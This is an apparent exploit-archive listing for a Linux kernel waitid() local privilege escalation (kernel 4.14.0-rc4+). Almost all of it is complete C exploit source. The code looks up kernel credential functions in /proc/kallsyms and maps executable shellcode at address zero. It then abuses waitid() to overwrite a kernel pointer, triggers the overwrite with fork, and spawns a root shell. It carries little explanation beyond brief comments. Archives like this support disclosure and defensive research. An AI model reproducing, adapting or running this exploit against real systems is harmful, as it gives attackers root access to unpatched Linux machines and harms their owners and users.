Linux Kernel 4.14.0-rc4+ waitid() Privilege Escalation

2017-10-25T00:00:00
ID PACKETSTORM:144742
Type packetstorm
Reporter XeR_0x2A
Modified 2017-10-25T00:00:00

Description

                                        
                                            `#define _GNU_SOURCE  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <sys/types.h>  
#include <sys/wait.h>  
#include <sys/mman.h>  
#include <string.h>  
  
struct cred;  
struct task_struct;  
  
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));  
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));  
  
prepare_kernel_cred_t prepare_kernel_cred;  
commit_creds_t commit_creds;  
  
void get_shell() {  
char *argv[] = {"/bin/sh", NULL};  
  
if (getuid() == 0){  
printf("[+] Root shell success !! :)\n");  
execve("/bin/sh", argv, NULL);  
}  
printf("[-] failed to get root shell :(\n");  
}  
  
void get_root() {  
if (commit_creds && prepare_kernel_cred)  
commit_creds(prepare_kernel_cred(0));  
}  
  
unsigned long get_kernel_sym(char *name)  
{  
FILE *f;  
unsigned long addr;  
char dummy;  
char sname[256];  
int ret = 0;  
  
f = fopen("/proc/kallsyms", "r");  
if (f == NULL) {  
printf("[-] Failed to open /proc/kallsyms\n");  
exit(-1);  
}  
printf("[+] Find %s...\n", name);  
while(ret != EOF) {  
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);  
if (ret == 0) {  
fscanf(f, "%s\n", sname);  
continue;  
}  
if (!strcmp(name, sname)) {  
fclose(f);  
printf("[+] Found %s at %lx\n", name, addr);  
return addr;  
}  
}  
fclose(f);  
return 0;  
}  
  
int main(int ac, char **av)  
{  
if (ac != 2) {  
printf("./exploit kernel_offset\n");  
printf("exemple = 0xffffffff81f3f45a");  
return EXIT_FAILURE;  
}  
  
// 2 - Appel de la fonction get_kernel_sym pour rcuperer dans le /proc/kallsyms les adresses des fonctions  
prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred");  
commit_creds = (commit_creds_t)get_kernel_sym("commit_creds");  
// have_canfork_callback offset <= rendre dynamique aussi  
  
pid_t pid;  
/* siginfo_t info; */  
  
// 1 - Mapper la mmoire l'adresse 0x0000000000000000  
printf("[+] Try to allocat 0x00000000...\n");  
if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char *)-1){  
printf("[-] Failed to allocat 0x00000000\n");  
return -1;  
}  
printf("[+] Allocation success !\n");  
/* memset(0, 0xcc, 4096); */  
/*  
movq rax, 0xffffffff81f3f45a  
movq [rax], 0  
mov rax, 0x4242424242424242  
call rax  
xor rax, rax  
ret  
replace 0x4242424242424242 by get_root  
https://defuse.ca/online-x86-assembler.htm#disassembly  
*/  
unsigned char shellcode[] =   
{ 0x48, 0xC7, 0xC0, 0x5A, 0xF4, 0xF3, 0x81, 0x48, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0xFF, 0xD0, 0x48, 0x31, 0xC0, 0xC3 };  
void **get_root_offset = rawmemchr(shellcode, 0x42);  
(*get_root_offset) = get_root;  
  
memcpy(0, shellcode, sizeof(shellcode));  
/* strcpy(0, "\x48\x31\xC0\xC3"); // xor rax, rax; ret */  
  
if(-1 == (pid = fork())) {  
perror("fork()");  
return EXIT_FAILURE;  
}  
  
if(pid == 0) {  
_exit(0xDEADBEEF);  
perror("son");  
return EXIT_FAILURE;  
}  
  
siginfo_t *ptr = (siginfo_t*)strtoul(av[1], (char**)0, 0);  
waitid(P_PID, pid, ptr, WEXITED | WSTOPPED | WCONTINUED);  
  
// TRIGGER  
pid = fork();  
printf("fork_ret = %d\n", pid);   
if (pid > 0)  
get_shell();  
return EXIT_SUCCESS;  
}  
  
`